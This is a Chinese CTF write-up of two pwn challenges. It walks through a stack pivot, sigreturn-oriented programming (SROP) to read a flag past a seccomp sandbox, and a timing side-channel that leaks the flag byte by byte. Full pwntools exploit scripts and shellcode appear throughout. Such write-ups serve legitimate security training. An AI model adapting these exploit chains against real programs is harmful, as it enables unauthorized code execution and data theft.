引言:
2023第六届安洵杯网络安全挑战赛,Pwn方向部分题解。总共三题, 本文主要介绍前两题,Side Channel和Seccomp,考点包括Srop,栈迁移,侧信道攻击等。比赛时间11h还是很有限,做题的时候在一些莫名其妙的地方卡了很久,最后在学长的hint下艰难地搞出来呜呜呜...还是菜,继续练~
Side Channel是Seccomp的plus版,所以先介绍Seccomp
1 Seccomp
检查文件:
没有开启canary
和PIE
保护,检查沙箱:
从沙箱中可以看出,禁用了execve
,允许了read
write
open
和rt_sigereturn
seccomp
沙箱的想法一般是orw
ORW(Open-Read-Write)是一种经典的漏洞利用技术,常用于利用二进制程序中的文件读取和写入操作来执行特定的操作,例如读取敏感文件或执行任意代码。
在利用ORW漏洞时,主要思路是通过构造适当的系统调用参数和shellcode,将文件描述符指向目标文件并执行读取或写入操作。
将程序丢进IDA,反汇编,main
函数如下:
第一个个函数没用,直接跟进第二个:
可以看到在这里直接给程序加了沙箱。也就是说,程序在给自己加seccomp
之前,所有系统调用都可以执行,但在这之后只能执行seccomp
允许的调用。
果然是一堆抽象的系统调用,脑袋疼。
syscall(1, 1, buf, size)
从buf
中输出size
个字符(1号系统调用,相当于write)
syscall(0, 0, fd, size)
将size
大小的字符串读入fd
中(0号系统调用,相当于read)
这里syscall(0, 0, v1, 58LL)
制造了一个溢出点:v1数组只有10bytes的大小,但是输入了58bytes的数据。
根据IDA的反汇编,v1数组起始地址和retaddr
的偏移为0x2A + 8 = 50
个bytes,也就是说虽然有溢出,但也只溢出了8个bytes,不论是ORW还是普通的ROP都是远远不够的。
同时根据上一个输入syscall(0,0, &unk_404060, 4096)
我们发现可以操控内存地址unk_404060
。于是想到栈迁移
栈迁移(Stack Migration)是一种常用的漏洞利用技术,用于绕过内存保护机制,以执行恶意代码或控制程序流程。在栈迁移攻击中,攻击者利用程序中的漏洞,将栈的执行流程转移到攻击者控制的内存区域,从而实现对程序的控制。
其实栈迁移最根本的事情就是要把rsp
搞到新栈上,至于rbp
到时候只要不乱pop
就无所谓。
栈迁移的基本思路为:
- 覆盖
rbp
为新栈的栈顶
- 覆盖
retaddr
为leave|ret
的返回地址
在函数结尾:
leave
指令相当于执行mov rsp, rbp ; pop rbp
下面简单演示下栈迁移的过程:
旧栈
1 2 3 4 5 6 7 8
| ---------------- | *rbp | ----- ---------------- | | retaddr | | ---------------- | | ..... | | ---------------- | | old rbp | <----
|
覆盖rbp 为新栈的栈顶(我们定义unk_404060
下的0x1000个字节就是新栈,栈顶即0x404060
)
1 2 3 4 5 6 7 8
| ---------------- --------------- | 0x404060 | ---------> | ... | 新栈 ---------------- --------------- | leave|ret | | | ---------------- --------------- | ..... | | | ---------------- --------------- | old *rbp | | |
|
函数执行结束返回时,第一次执行函数本身的leave|ret
(leave相当于mov rsp, rbp ; pop rbp
)
1 2 3
| mov rsp, rbp pop rbp ret
|
第二次执行我们跳转到的leave | ret
1 2 3
| mov rsp, rbp ; rsp = rbp = 0x404060 pop rbp; rbp = *(unsigned long long)(0x404060), rsp = rsp + 8 = 0x404068 ret ; rip = *(unsigned long long)(0x404068) rsp = 0x404070
|
这时的栈结构
1 2 3 4 5 6 7 8
| ---------------- --------------- | 0x404060 | ---------> | 0x404060 | 新栈 ---------------- --------------- | leave|ret | | 0x404068 | ---------------- --------------- | ..... | | 0x404070 | <-- rsp ---------------- --------------- | old *rbp | | | ; 此时的rip = *(unsigned long long)(0x404068)
|
现在我们成功把栈迁到unk_404060
上啦~
此处的payload其实很简单,但一定要注意在第二个ret
之后,我们的rip
已经更改成0x404046
中储存的第一个地址了,所以一定要从0x404068
开始布栈
1
| payload = b"A" * (0x2a) + p64(0x404060) + p64(leave_ret)
|
到这里这道题就完成一半了。下一半比较简单,因为整个程序都是系统调用,所以也没多少gadget
可用。注意到沙箱还允许了rt_sigereturn
, 同时注意到程序中有这样的两个代码片段:
0xf
号系统调用,经典Srop
。如果是正常的ORW
那么可能会这样:
但是这道题中根本没多少gadget
可以用,但说白了都是控寄存器,执行系统调用而已。
同时我们需要给"flag"文件名和从flag中读出来的东西找一个地方存放,我这里选择新栈的前0x100个字节。所以在最终的EXP中,定义的新栈顶需要抬高了0x100,没有什么影响滴~
先给出本题的EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| from pwn import *
elf = ELF("./chall") libc = ELF("./libc.so.6")
context.log_level = "debug" context.arch = "amd64"
p = process("./chall")
p.recv()
flag_len = 0x100 flag_addr = 0x404068 flag_name_addr = 0x404060
sys_ret = 0x40118A
pop_rax = 0x401193
leave_ret = 0x4014d4
main_ret = 0x4014A9
shell = 0x404060 + flag_len
ret_addr = 0x40118e
payload = b"flag".ljust(8, b"\x00") + b"\x00" * (0x100 - 8) + b"a" * 8
frame = SigreturnFrame() frame.rax = 2 frame.rdi = flag_name_addr frame.rsi = 0 frame.rdx = 0 frame.rip = sys_ret frame.rsp = shell + 16 + 8 + len(frame) - 8
shell_temp = shell + 16 + 8 + len(frame)
payload += p64(pop_rax) + p64(sys_ret) + bytes(frame)
shell_temp += 16 + len(frame)
frame = SigreturnFrame() frame.rax = 0 frame.rbx = 0 frame.rdi = 3 frame.rsi = flag_addr frame.rdx = 0x100 frame.rip = sys_ret frame.rsp = shell_temp - 8
payload += p64(pop_rax) + p64(sys_ret) + bytes(frame)
shell_temp += 16 + len(frame)
frame = SigreturnFrame() frame.rax = 1 frame.rdi = 1 frame.rsi = flag_addr frame.rdx = 0x100 frame.rip = sys_ret frame.rsp = shell_temp - 8
payload += p64(pop_rax) + p64(sys_ret) + bytes(frame) + p64(ret_addr)
p.sendline(payload)
p.recv()
payload = b"A" * (0x2a) + p64(shell) + p64(leave_ret)
p.sendline(payload)
p.interactive()
|
需要注意的是,为了让每次sigereturn
结束后,rsp
都能恢复,我们需要不断追踪rsp
的当前位置并在srop
中手动定义rsp
的值。但注意到每次syscall
后还跟着一个pop rbp
,会把rsp
抬高8个字节,所以我们在定义的时候要将rsp - 8
,以便ret
之后仍可以正确执行pop
链。
在本地创造一个文件flag,内容如下:
执行exp,运行结果如下:
成功读取文件内容。
2 Side Channel
这个题是上一道seccomp
的plus版
好好好,把write
也给我禁了,但允许mprotect
和srop
,但是他为什么还能输出字符串.....丢进IDA
代码结构和上一题基本一致,但有些不同。这里的sub_40119E
是给程序上沙箱,也就是说在这之前一切操作都是允许的,程序可以输出字符串,但在这之后你就不能输出了。
好好好经典只许官差放火不许百姓点灯()
延续上一题的思路,本题的考点在侧信道攻击。
侧信道攻击(Side-Channel Attacks)是一类利用计算系统在执行过程中泄露的辅助信息(侧信道)来推断出敏感数据的攻击技术。相比直接攻击计算系统的漏洞,侧信道攻击关注的是计算系统的实际执行行为和相关的物理特性,从中获取敏感信息。
大体思路就是我们可以通过O R
把flag
读到内存里,并且通过mprotect
将unk_404060
下的内存页设置为可读可写可执行,在unk_404060
下布shellcode:
1 2 3 4
| mov bl, byte ptr [flag_addr] ; 取flag中的一个字符到bl mov al, {} ; 设置al为我们定义的一个字符 cmp bl, al jz $-3 ; 如果相等,则跳转到pc-3的位置即cmp,陷入死循环
|
如果我们当前尝试的字符和flag中的某一个字符相等,程序将陷入死循环,否则将很快退出。根据这个来爆破flag
其中mprotect
的系统调用要通过Srop
1 2 3 4 5 6 7 8
| frame = SigreturnFrame() frame.rax = 10 frame.rbx = 0 frame.rdi = 0x404000 frame.rsi = 4096 frame.rdx = 7 frame.rip = sys_ret frame.rsp = shell_temp - 8
|
这里追踪shellcode的地址花了好半天才写对,如果我们把shellcode布在栈上,就需要在完成mprtect
之后把pc控到栈上。
1 2
| 执行完sigereturn : rsp -> shell_temp + 8 ret ; pc = shell_temp + 8 -> shellcode
|
syscall
之后,已执行pop rbp
, ret
前,栈结构(我们保证通过srop恢复栈顶)
1 2 3 4 5 6 7 8
| ---------------- rsp ---> | rsp+8 | ----- ---------------- | | mov bl, .. | <---| ---------------- | mov al, {} | ---------------- | cmp bl, al |
|
ret
之后,pc
和rsp
指向同一个位置
1 2 3 4 5 6 7 8
| ---------------- | rsp-8 | ---------------- pc --> | mov bl, .. | <-- rsp ---------------- | mov al, {} | ---------------- | cmp bl, al |
|
这样就可以执行栈啦~
不会写自动化的脚本,只能比较笨的从头到尾一个个试
还好从上一题得到flag的字符集只有[0-9a-f\-]
,所以还好~
每次手动更新index的值,代表flag的第几个字符,char_set
我们自己定义
EXP如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| from pwn import * import time
elf = ELF("./chall") libc = ELF("./libc.so.6")
context.arch = "amd64" p = process("./chall")
flag_len = 0x100 flag_addr = 0x404068 flag_name_addr = 0x404060 sys_ret = 0x40118A pop_rax = 0x401193 leave_ret = 0x4014d4 main_ret = 0x4014A9 shell = 0x404060 + flag_len ret_addr = 0x40118e
payload = b"flag".ljust(8, b"\x00") + b"\x00" * (0x100 - 8) + b"a" * 8
frame = SigreturnFrame() frame.rax = 2 frame.rdi = flag_name_addr frame.rsi = 0 frame.rdx = 0 frame.rip = sys_ret frame.rsp = shell + 16 + 8 + len(frame) - 8
shell_temp = shell + 16 + 8 + len(frame)
payload += p64(pop_rax) + p64(sys_ret) + bytes(frame)
shell_temp += 16 + len(frame)
frame = SigreturnFrame() frame.rax = 0 frame.rbx = 0 frame.rdi = 3 frame.rsi = flag_addr frame.rdx = 0x100 frame.rip = sys_ret frame.rsp = shell_temp - 8
while_shell = """ mov bl, byte ptr [{}] cmp bl, {} jz $-0x3 """
payload += p64(pop_rax) + p64(sys_ret) + bytes(frame) shell_temp += 16 + len(frame)
frame = SigreturnFrame() frame.rax = 10 frame.rbx = 0 frame.rdi = 0x404000 frame.rsi = 4096 frame.rdx = 7 frame.rip = sys_ret frame.rsp = shell_temp - 8
payload += p64(pop_rax) + p64(sys_ret) + bytes(frame) + p64(shell_temp + 8)
s = "-0123456789abcdef" flag = ""
index = 0
while 1: for i in range(len(s)): p = process("./chall") p.recv() payload3 = payload + asm(while_shell.format(index + flag_addr, ord(s[i]))) p.sendline(payload3) payload2 = b"A" * (0x2a) + p64(shell) + p64(leave_ret) p.recv() p.info("current {}".format((s[i])))
start = time.time() p.sendline(payload2) p.recvall() end = time.time() print(end - start) index += 1 p.interactive()
|
爆破~
看在哪里卡死
则flag[index] = 'd'
逐位爆破,得到flagflag{d69c2244-a17b-11ee-844d-00163e0447d0}
说起来也是心累,真得爱护容器吧,做个b题容器崩了三四次,关键是flag是随机的,每次开容器flag都不一样,还得从头开始爆破,破到一半容器又坏了.....
平常练习的时候考点都比较单一叭,要不就是栈迁移,要不就是Srop
很少见到像今天比赛这种 栈迁移+Srop+mprotect+shellcode+..... 还是缺少做题经验叭
第三题不会....还是菜,继续练~